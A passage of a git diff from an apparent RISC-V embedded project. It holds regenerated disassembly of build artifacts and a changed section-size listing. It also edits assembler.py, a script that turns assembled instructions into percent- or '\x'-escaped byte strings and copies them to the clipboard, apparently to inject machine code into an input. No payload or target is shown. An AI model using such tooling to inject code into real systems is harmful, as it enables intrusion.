- 14a:	0694                	addi	a3,sp,832
- 14c:	0795                	addi	a5,a5,5
- 14e:	0896                	slli	a7,a7,0x5
- 150:	0a980997          	auipc	s3,0xa980
- 154:	0b99                	addi	s7,s7,6
- 156:	0c9a                	slli	s9,s9,0x6
- 158:	0181                	addi	gp,gp,0
- 15a:	82020593          	addi	a1,tp,-2016 # fffff820 <_heap_end+0x7fff1020>
- 15e:	c10a                	sw	sp,128(sp)
+ 140:	0028                	addi	a0,sp,8
+ 142:	0000                	unimp
+ 144:	00a0                	addi	s0,sp,72
+ 146:	0000                	unimp
+ 148:	1e10                	addi	a2,sp,816
+ 14a:	2040                	fld	fs0,128(s0)
+ 14c:	0054                	addi	a3,sp,4
+ 14e:	0000                	unimp
+ 150:	0e42                	slli	t3,t3,0x10
+ 152:	4210                	lw	a2,0(a2)
+ 154:	0288                	addi	a0,sp,320
+ 156:	8150                	0x8150
+ 158:	8901                	andi	a0,a0,0
+ 15a:	02049203          	lh	tp,32(s1) # fffed020 <_heap_end+0x7ffde820>
+ 15e:	c134                	sw	a3,64(a0)
  160:	c842                	sw	a6,16(sp)
- 162:	c942                	sw	a6,144(sp)
- 164:	d242                	sw	a6,36(sp)
- 166:	d342                	sw	a6,164(sp)
- 168:	d442                	sw	a6,40(sp)
- 16a:	d542                	sw	a6,168(sp)
- 16c:	d642                	sw	a6,44(sp)
- 16e:	d742                	sw	a6,172(sp)
- 170:	d842                	sw	a6,48(sp)
- 172:	d942                	sw	a6,176(sp)
- 174:	da42                	sw	a6,52(sp)
- 176:	0e42                	slli	t3,t3,0x10
- 178:	4200                	lw	s0,0(a2)
- 17a:	0070000b          	0x70000b
+ 162:	d242                	sw	a6,36(sp)
+ 164:	c944                	sw	s1,20(a0)
+ 166:	0e42                	slli	t3,t3,0x10
+ 168:	0000                	unimp
+ 16a:	0000                	unimp
+ 16c:	000c                	0xc
+ 16e:	0000                	unimp
+ 170:	ffff                	0xffff
+ 172:	ffff                	0xffff
+ 174:	7c010003          	lb	zero,1984(sp)
+ 178:	0d01                	addi	s10,s10,0
+ 17a:	0002                	c.slli64	zero
+ 17c:	004c                	addi	a1,sp,4
  17e:	0000                	unimp
- 180:	0000                	unimp
- 182:	0000                	unimp
- 184:	22ec                	fld	fa1,192(a3)
- 186:	2040                	fld	fs0,128(s0)
- 188:	040c                	addi	a1,sp,512
+ 180:	016c                	addi	a1,sp,140
+	...
  18a:	0000                	unimp
  18c:	0e42                	slli	t3,t3,0x10
- 18e:	5630                	lw	a2,104(a2)
- 190:	0181                	addi	gp,gp,0
- 192:	0288                	addi	a0,sp,320
- 194:	0389                	addi	t2,t2,2
- 196:	0492                	slli	s1,s1,0x4
- 198:	72020593          	addi	a1,tp,1824 # 720 <__stack_size-0xe0>
- 19c:	c80a                	sw	sp,16(sp)
- 19e:	c142                	sw	a6,128(sp)
- 1a0:	c942                	sw	a6,144(sp)
- 1a2:	d242                	sw	a6,36(sp)
- 1a4:	d342                	sw	a6,164(sp)
- 1a6:	0e42                	slli	t3,t3,0x10
- 1a8:	4400                	lw	s0,8(s0)
- 1aa:	c80a4a0b          	0xc80a4a0b
- 1ae:	c142                	sw	a6,128(sp)
+ 18e:	5a50                	lw	a2,52(a2)
+ 190:	0288                	addi	a0,sp,320
+ 192:	0389                	addi	t2,t2,2
+ 194:	0492                	slli	s1,s1,0x4
+ 196:	07950593          	addi	a1,a0,121
+ 19a:	0896                	slli	a7,a7,0x5
+ 19c:	0a980997          	auipc	s3,0xa980
+ 1a0:	0b99                	addi	s7,s7,6
+ 1a2:	0c9a                	slli	s9,s9,0x6
+ 1a4:	01810d9b          	0x1810d9b
+ 1a8:	0694                	addi	a3,sp,832
+ 1aa:	0002                	c.slli64	zero
+ 1ac:	c10a                	sw	sp,128(sp)
+ 1ae:	c842                	sw	a6,16(sp)
  1b0:	c942                	sw	a6,144(sp)
  1b2:	d242                	sw	a6,36(sp)
  1b4:	d342                	sw	a6,164(sp)
- 1b6:	0e42                	slli	t3,t3,0x10
- 1b8:	4400                	lw	s0,8(s0)
- 1ba:	0a88020b          	0xa88020b
- 1be:	42c1                	li	t0,16
- 1c0:	42c8                	lw	a0,4(a3)
- 1c2:	42c9                	li	t0,18
- 1c4:	42d2                	lw	t0,20(sp)
- 1c6:	000e42d3          	fadd.s	ft5,ft8,ft0,rmm
- 1ca:	0b42                	slli	s6,s6,0x10
- 1cc:	0a022c03          	lw	s8,160(tp) # a0 <__stack_size-0x760>
- 1d0:	42c8                	lw	a0,4(a3)
- 1d2:	42c1                	li	t0,16
- 1d4:	42c9                	li	t0,18
- 1d6:	42d2                	lw	t0,20(sp)
- 1d8:	000e42d3          	fadd.s	ft5,ft8,ft0,rmm
- 1dc:	0b44                	addi	s1,sp,404
- 1de:	0a68                	addi	a0,sp,284
- 1e0:	42c8                	lw	a0,4(a3)
- 1e2:	42c1                	li	t0,16
- 1e4:	42c9                	li	t0,18
- 1e6:	42d2                	lw	t0,20(sp)
- 1e8:	000e42d3          	fadd.s	ft5,ft8,ft0,rmm
- 1ec:	0b42                	slli	s6,s6,0x10
- 1ee:	0000                	unimp
- 1f0:	003c                	addi	a5,sp,8
- 1f2:	0000                	unimp
- 1f4:	0000                	unimp
- 1f6:	0000                	unimp
- 1f8:	26f8                	fld	fa4,200(a3)
- 1fa:	2040                	fld	fs0,128(s0)
- 1fc:	0424                	addi	s1,sp,520
- 1fe:	0000                	unimp
- 200:	0e42                	slli	t3,t3,0x10
- 202:	5240                	lw	s0,36(a2)
- 204:	0288                	addi	a0,sp,320
- 206:	0389                	addi	t2,t2,2
- 208:	06940593          	addi	a1,s0,105
- 20c:	0795                	addi	a5,a5,5
- 20e:	0896                	slli	a7,a7,0x5
- 210:	0181                	addi	gp,gp,0
- 212:	0492                	slli	s1,s1,0x4
- 214:	72030997          	auipc	s3,0x72030
- 218:	42c10a03          	lb	s4,1068(sp)
- 21c:	42c8                	lw	a0,4(a3)
- 21e:	42c9                	li	t0,18
- 220:	42d2                	lw	t0,20(sp)
- 222:	42d442d3          	0x42d442d3
- 226:	42d5                	li	t0,21
- 228:	42d6                	lw	t0,84(sp)
- 22a:	000e42d7          	0xe42d7
- 22e:	0b42                	slli	s6,s6,0x10
- 230:	0018                	0x18
- 232:	0000                	unimp
- 234:	0000                	unimp
- 236:	0000                	unimp
- 238:	189c                	addi	a5,sp,112
- 23a:	2040                	fld	fs0,128(s0)
- 23c:	0110                	addi	a2,sp,128
+ 1b6:	d442                	sw	a6,40(sp)
+ 1b8:	d542                	sw	a6,168(sp)
+ 1ba:	d642                	sw	a6,44(sp)
+ 1bc:	d742                	sw	a6,172(sp)
+ 1be:	d842                	sw	a6,48(sp)
+ 1c0:	d942                	sw	a6,176(sp)
+ 1c2:	da42                	sw	a6,52(sp)
+ 1c4:	db42                	sw	a6,180(sp)
+ 1c6:	0e42                	slli	t3,t3,0x10
+ 1c8:	4200                	lw	s0,0(a2)
+ 1ca:	0034000b          	0x34000b
+ 1ce:	0000                	unimp
+ 1d0:	016c                	addi	a1,sp,140
+ 1d2:	0000                	unimp
+ 1d4:	1e64                	addi	s1,sp,828
+ 1d6:	2040                	fld	fs0,128(s0)
+ 1d8:	00ac                	addi	a1,sp,72
+ 1da:	0000                	unimp
+ 1dc:	0e42                	slli	t3,t3,0x10
+ 1de:	4220                	lw	s0,64(a2)
+ 1e0:	0492                	slli	s1,s1,0x4
+ 1e2:	8152                	mv	sp,s4
+ 1e4:	8801                	andi	s0,s0,0
+ 1e6:	8902                	jr	s2
+ 1e8:	46059303          	lh	t1,1120(a1) # ffffc460 <_heap_end+0x7ffedc60>
+ 1ec:	0694                	addi	a3,sp,832
+ 1ee:	0795                	addi	a5,a5,5
+ 1f0:	7c02                	flw	fs8,32(sp)
+ 1f2:	42c8                	lw	a0,4(a3)
+ 1f4:	42c1                	li	t0,16
+ 1f6:	42c9                	li	t0,18
+ 1f8:	42d2                	lw	t0,20(sp)
+ 1fa:	44d542d3          	0x44d542d3
+ 1fe:	44d4                	lw	a3,12(s1)
+ 200:	000e                	c.slli	zero,0x3
+ 202:	0000                	unimp
+ 204:	0034                	addi	a3,sp,8
+ 206:	0000                	unimp
+ 208:	016c                	addi	a1,sp,140
+ 20a:	0000                	unimp
+ 20c:	1f10                	addi	a2,sp,944
+ 20e:	2040                	fld	fs0,128(s0)
+ 210:	0136                	slli	sp,sp,0xd
+ 212:	0000                	unimp
+ 214:	0e42                	slli	t3,t3,0x10
+ 216:	4430                	lw	a2,72(s0)
+ 218:	0288                	addi	a0,sp,320
+ 21a:	0694                	addi	a3,sp,832
+ 21c:	8154                	0x8154
+ 21e:	8901                	andi	a0,a0,0
+ 220:	93049203          	lh	tp,-1744(s1)
+ 224:	9505                	srai	a0,a0,0x21
+ 226:	0a6a0207          	0xa6a0207
+ 22a:	44c1                	li	s1,16
+ 22c:	42c8                	lw	a0,4(a3)
+ 22e:	42c9                	li	t0,18
+ 230:	42d2                	lw	t0,20(sp)
+ 232:	42d442d3          	0x42d442d3
+ 236:	42d5                	li	t0,21
+ 238:	000e                	c.slli	zero,0x3
+ 23a:	0b42                	slli	s6,s6,0x10
+ 23c:	0020                	addi	s0,sp,8
  23e:	0000                	unimp
- 240:	0e42                	slli	t3,t3,0x10
- 242:	4610                	lw	a2,8(a2)
- 244:	0181                	addi	gp,gp,0
- 246:	0288                	addi	a0,sp,320
- 248:	0389                	addi	t2,t2,2
+ 240:	016c                	addi	a1,sp,140
+	...
  24a:	0000                	unimp
- 24c:	000c                	0xc
- 24e:	0000                	unimp
- 250:	ffff                	0xffff
- 252:	ffff                	0xffff
- 254:	7c010003          	lb	zero,1984(sp)
- 258:	0d01                	addi	s10,s10,0
- 25a:	0002                	c.slli64	zero
- 25c:	000c                	0xc
- 25e:	0000                	unimp
- 260:	024c                	addi	a1,sp,260
+ 24c:	0e42                	slli	t3,t3,0x10
+ 24e:	4420                	lw	s0,72(s0)
+ 250:	0288                	addi	a0,sp,320
+ 252:	8148                	0x8148
+ 254:	4001                	c.li	zero,0
+ 256:	c10a                	sw	sp,128(sp)
+ 258:	c842                	sw	a6,16(sp)
+ 25a:	0e42                	slli	t3,t3,0x10
+ 25c:	4200                	lw	s0,0(a2)
+ 25e:	0048000b          	0x48000b
  262:	0000                	unimp
- 264:	2b1c                	fld	fa5,16(a4)
- 266:	2040                	fld	fs0,128(s0)
- 268:	0004                	0x4
- 26a:	0000                	unimp
- 26c:	000c                	0xc
+ 264:	016c                	addi	a1,sp,140
+ 266:	0000                	unimp
+ 268:	2046                	fld	ft0,80(sp)
+ 26a:	2040                	fld	fs0,128(s0)
+ 26c:	0252                	slli	tp,tp,0x14
  26e:	0000                	unimp
- 270:	024c                	addi	a1,sp,260
- 272:	0000                	unimp
- 274:	2b20                	fld	fs0,80(a4)
- 276:	2040                	fld	fs0,128(s0)
- 278:	0008                	0x8
- 27a:	0000                	unimp
- 27c:	000c                	0xc
- 27e:	0000                	unimp
- 280:	024c                	addi	a1,sp,260
- 282:	0000                	unimp
- 284:	2b28                	fld	fa0,80(a4)
- 286:	2040                	fld	fs0,128(s0)
- 288:	0022                	c.slli	zero,0x8
- 28a:	0000                	unimp
- 28c:	000c                	0xc
- 28e:	0000                	unimp
- 290:	024c                	addi	a1,sp,260
- 292:	0000                	unimp
- 294:	2b4a                	fld	fs6,144(sp)
- 296:	2040                	fld	fs0,128(s0)
- 298:	0006                	c.slli	zero,0x1
- 29a:	0000                	unimp
- 29c:	000c                	0xc
- 29e:	0000                	unimp
- 2a0:	024c                	addi	a1,sp,260
- 2a2:	0000                	unimp
- 2a4:	2b50                	fld	fa2,144(a4)
- 2a6:	2040                	fld	fs0,128(s0)
- 2a8:	0004                	0x4
- 2aa:	0000                	unimp
- 2ac:	001c                	0x1c
+ 270:	0e42                	slli	t3,t3,0x10
+ 272:	4460                	lw	s0,76(s0)
+ 274:	0389                	addi	t2,t2,2
+ 276:	0694                	addi	a3,sp,832
+ 278:	9260                	0x9260
+ 27a:	9504                	0x9504
+ 27c:	81089607          	0x81089607
+ 280:	8801                	andi	s0,s0,0
+ 282:	9302                	jalr	t1
+ 284:	9705                	srai	a4,a4,0x21
+ 286:	9809                	andi	s0,s0,-30
+ 288:	990a                	add	s2,s2,sp
+ 28a:	00ec030b          	0xec030b
+ 28e:	c10a                	sw	sp,128(sp)
+ 290:	c842                	sw	a6,16(sp)
+ 292:	d242                	sw	a6,36(sp)
+ 294:	d342                	sw	a6,164(sp)
+ 296:	d442                	sw	a6,40(sp)
+ 298:	d542                	sw	a6,168(sp)
+ 29a:	d642                	sw	a6,44(sp)
+ 29c:	d742                	sw	a6,172(sp)
+ 29e:	d842                	sw	a6,48(sp)
+ 2a0:	d942                	sw	a6,176(sp)
+ 2a2:	c944                	sw	s1,20(a0)
+ 2a4:	0e42                	slli	t3,t3,0x10
+ 2a6:	4200                	lw	s0,0(a2)
+ 2a8:	0000000b          	0xb
+ 2ac:	000c                	0xc
  2ae:	0000                	unimp
- 2b0:	024c                	addi	a1,sp,260
- 2b2:	0000                	unimp
- 2b4:	2b54                	fld	fa3,144(a4)
- 2b6:	2040                	fld	fs0,128(s0)
- 2b8:	0030                	addi	a2,sp,8
- 2ba:	0000                	unimp
- 2bc:	0e42                	slli	t3,t3,0x10
- 2be:	4a10                	lw	a2,16(a2)
- 2c0:	0181                	addi	gp,gp,0
- 2c2:	0a5c                	addi	a5,sp,276
- 2c4:	42c1                	li	t0,16
- 2c6:	000e                	c.slli	zero,0x3
- 2c8:	0b42                	slli	s6,s6,0x10
+ 2b0:	ffff                	0xffff
+ 2b2:	ffff                	0xffff
+ 2b4:	7c010003          	lb	zero,1984(sp)
+ 2b8:	0d01                	addi	s10,s10,0
+ 2ba:	0002                	c.slli64	zero
+ 2bc:	000c                	0xc
+ 2be:	0000                	unimp
+ 2c0:	02ac                	addi	a1,sp,328
+ 2c2:	0000                	unimp
+ 2c4:	2298                	fld	fa4,0(a3)
+ 2c6:	2040                	fld	fs0,128(s0)
+ 2c8:	0004                	0x4
  2ca:	0000                	unimp
- 2cc:	0024                	addi	s1,sp,8
+ 2cc:	000c                	0xc
  2ce:	0000                	unimp
- 2d0:	024c                	addi	a1,sp,260
+ 2d0:	02ac                	addi	a1,sp,328
  2d2:	0000                	unimp
- 2d4:	2b84                	fld	fs1,16(a5)
+ 2d4:	229c                	fld	fa5,0(a3)
  2d6:	2040                	fld	fs0,128(s0)
- 2d8:	003c                	addi	a5,sp,8
+ 2d8:	0008                	0x8
  2da:	0000                	unimp
- 2dc:	0e42                	slli	t3,t3,0x10
- 2de:	4610                	lw	a2,8(a2)
- 2e0:	0288                	addi	a0,sp,320
- 2e2:	0389                	addi	t2,t2,2
- 2e4:	0181                	addi	gp,gp,0
- 2e6:	0a5c                	addi	a5,sp,276
- 2e8:	42c1                	li	t0,16
- 2ea:	42c8                	lw	a0,4(a3)
- 2ec:	42c9                	li	t0,18
- 2ee:	000e                	c.slli	zero,0x3
- 2f0:	0b42                	slli	s6,s6,0x10
+ 2dc:	000c                	0xc
+ 2de:	0000                	unimp
+ 2e0:	02ac                	addi	a1,sp,328
+ 2e2:	0000                	unimp
+ 2e4:	22a4                	fld	fs1,64(a3)
+ 2e6:	2040                	fld	fs0,128(s0)
+ 2e8:	0022                	c.slli	zero,0x8
+ 2ea:	0000                	unimp
+ 2ec:	000c                	0xc
+ 2ee:	0000                	unimp
+ 2f0:	02ac                	addi	a1,sp,328
  2f2:	0000                	unimp
- 2f4:	0024                	addi	s1,sp,8
- 2f6:	0000                	unimp
- 2f8:	024c                	addi	a1,sp,260
+ 2f4:	22c6                	fld	ft5,80(sp)
+ 2f6:	2040                	fld	fs0,128(s0)
+ 2f8:	0006                	c.slli	zero,0x1
  2fa:	0000                	unimp
- 2fc:	2bc0                	fld	fs0,144(a5)
- 2fe:	2040                	fld	fs0,128(s0)
- 300:	0054                	addi	a3,sp,4
+ 2fc:	000c                	0xc
+ 2fe:	0000                	unimp
+ 300:	02ac                	addi	a1,sp,328
  302:	0000                	unimp
- 304:	0e42                	slli	t3,t3,0x10
- 306:	4610                	lw	a2,8(a2)
- 308:	0288                	addi	a0,sp,320
- 30a:	0389                	addi	t2,t2,2
- 30c:	0181                	addi	gp,gp,0
- 30e:	0a5e                	slli	s4,s4,0x17
- 310:	42c1                	li	t0,16
- 312:	44c8                	lw	a0,12(s1)
- 314:	42c9                	li	t0,18
- 316:	000e                	c.slli	zero,0x3
- 318:	0b42                	slli	s6,s6,0x10
+ 304:	22cc                	fld	fa1,128(a3)
+ 306:	2040                	fld	fs0,128(s0)
+ 308:	0004                	0x4
+ 30a:	0000                	unimp
+ 30c:	001c                	0x1c
+ 30e:	0000                	unimp
+ 310:	02ac                	addi	a1,sp,328
+ 312:	0000                	unimp
+ 314:	22d0                	fld	fa2,128(a3)
+ 316:	2040                	fld	fs0,128(s0)
+ 318:	002e                	c.slli	zero,0xb
  31a:	0000                	unimp
- 31c:	000c                	0xc
- 31e:	0000                	unimp
- 320:	ffff                	0xffff
- 322:	ffff                	0xffff
- 324:	7c010003          	lb	zero,1984(sp)
- 328:	0d01                	addi	s10,s10,0
- 32a:	0002                	c.slli64	zero
- 32c:	000c                	0xc
+ 31c:	0e42                	slli	t3,t3,0x10
+ 31e:	4a10                	lw	a2,16(a2)
+ 320:	0181                	addi	gp,gp,0
+ 322:	0a5a                	slli	s4,s4,0x16
+ 324:	42c1                	li	t0,16
+ 326:	000e                	c.slli	zero,0x3
+ 328:	0b42                	slli	s6,s6,0x10
+ 32a:	0000                	unimp
+ 32c:	0024                	addi	s1,sp,8
  32e:	0000                	unimp
- 330:	031c                	addi	a5,sp,384
+ 330:	02ac                	addi	a1,sp,328
  332:	0000                	unimp
- 334:	2c14                	fld	fa3,24(s0)
+ 334:	22fe                	fld	ft5,472(sp)
  336:	2040                	fld	fs0,128(s0)
- 338:	002a                	c.slli	zero,0xa
+ 338:	003a                	c.slli	zero,0xe
+ 33a:	0000                	unimp
+ 33c:	0e42                	slli	t3,t3,0x10
+ 33e:	4610                	lw	a2,8(a2)
+ 340:	0288                	addi	a0,sp,320
+ 342:	0389                	addi	t2,t2,2
+ 344:	0181                	addi	gp,gp,0
+ 346:	0a5a                	slli	s4,s4,0x16
+ 348:	42c1                	li	t0,16
+ 34a:	42c8                	lw	a0,4(a3)
+ 34c:	42c9                	li	t0,18
+ 34e:	000e                	c.slli	zero,0x3
+ 350:	0b42                	slli	s6,s6,0x10
+ 352:	0000                	unimp
+ 354:	0024                	addi	s1,sp,8
+ 356:	0000                	unimp
+ 358:	02ac                	addi	a1,sp,328
+ 35a:	0000                	unimp
+ 35c:	2338                	fld	fa4,64(a4)
+ 35e:	2040                	fld	fs0,128(s0)
+ 360:	0052                	c.slli	zero,0x14
+ 362:	0000                	unimp
+ 364:	0e42                	slli	t3,t3,0x10
+ 366:	4610                	lw	a2,8(a2)
+ 368:	0288                	addi	a0,sp,320
+ 36a:	0389                	addi	t2,t2,2
+ 36c:	0181                	addi	gp,gp,0
+ 36e:	0a5c                	addi	a5,sp,276
+ 370:	42c1                	li	t0,16
+ 372:	44c8                	lw	a0,12(s1)
+ 374:	42c9                	li	t0,18
+ 376:	000e                	c.slli	zero,0x3
+ 378:	0b42                	slli	s6,s6,0x10
 	...
diff --git a/ArtyImplementation/zone2/zone2.siz b/ArtyImplementation/zone2/zone2.siz
index 9cde298a16d204b3bba38cb332d7ee2072d0da29..9128cc0085e2bdb7c7b447cf65cc13d5be64f208 100644
--- a/ArtyImplementation/zone2/zone2.siz
+++ b/ArtyImplementation/zone2/zone2.siz
@@ -1,24 +1,24 @@
 zone2.elf  :
-section               size         addr
-.init                  112    541071360
-.text                14760    541071472
-.rodata               3528    541086232
-.data                  112   2147538944
-.sdata                  16   2147539056
-.bss                   760   2147539072
-.stack                2048   2147539840
-.heap                 1152   2147541888
-.riscv.attributes       43            0
-.comment                18            0
-.debug_line          16407            0
-.debug_info          13825            0
-.debug_abbrev         2385            0
-.debug_aranges         336            0
-.debug_str           42528            0
-.debug_loc            9820            0
-.debug_ranges         1344            0
-.debug_macro         11584            0
-.debug_frame           828            0
-Total               121606
+section              size         addr
+.init                 112    541071360
+.text                9092    541071472
+.rodata              2344    541080568
+.data                  96   2147538944
+.sdata                 24   2147539040
+.bss                  360   2147539064
+.stack               2048   2147539424
+.heap                1568   2147541472
+.riscv.attributes      43            0
+.comment               18            0
+.debug_line         10000            0
+.debug_info          8135            0
+.debug_abbrev        1769            0
+.debug_aranges        288            0
+.debug_str          42263            0
+.debug_loc           2711            0
+.debug_ranges         576            0
+.debug_macro        12980            0
+.debug_frame          892            0
+Total               95319
 
 
diff --git a/assembler.py b/assembler.py
index 8ee05309c8b670f2b123b7cf9f6c6011a3a8d64b..437b33e2c4f0e67c60e46e467c6c00609e058510 100755
--- a/assembler.py
+++ b/assembler.py
@@ -9,7 +9,7 @@ march = "rv32i"
 reverse_bytes = True
 # "%", for percent encoding
 # "\\x", if no percent decoding occurs
-encode_char = "\\x"
+encode_char = "%"
 
 def split_hex_str(hex_str):
     return [hex_str[0:2], hex_str[2:4], hex_str[4:6], hex_str[6:8]]
@@ -103,4 +103,5 @@ with subprocess.Popen([objdump, "-D", "a.out"], stdout=subprocess.PIPE) as objdu
 print("running xclip for hex to clipboard")
 subprocess.run(["xclip", "-selection", "clipboard", "-noutf8", "-in", "i_am_bin_dump"])
 #if needed when xclip does not work, do not delete i_am_bin_dump here and cat & copy it
-subprocess.run(["rm", "a.out", "i_am_bin_dump"])
+subprocess.run(["rm", "a.out"])
+#subprocess.run(["rm", "a.out", "i_am_bin_dump"])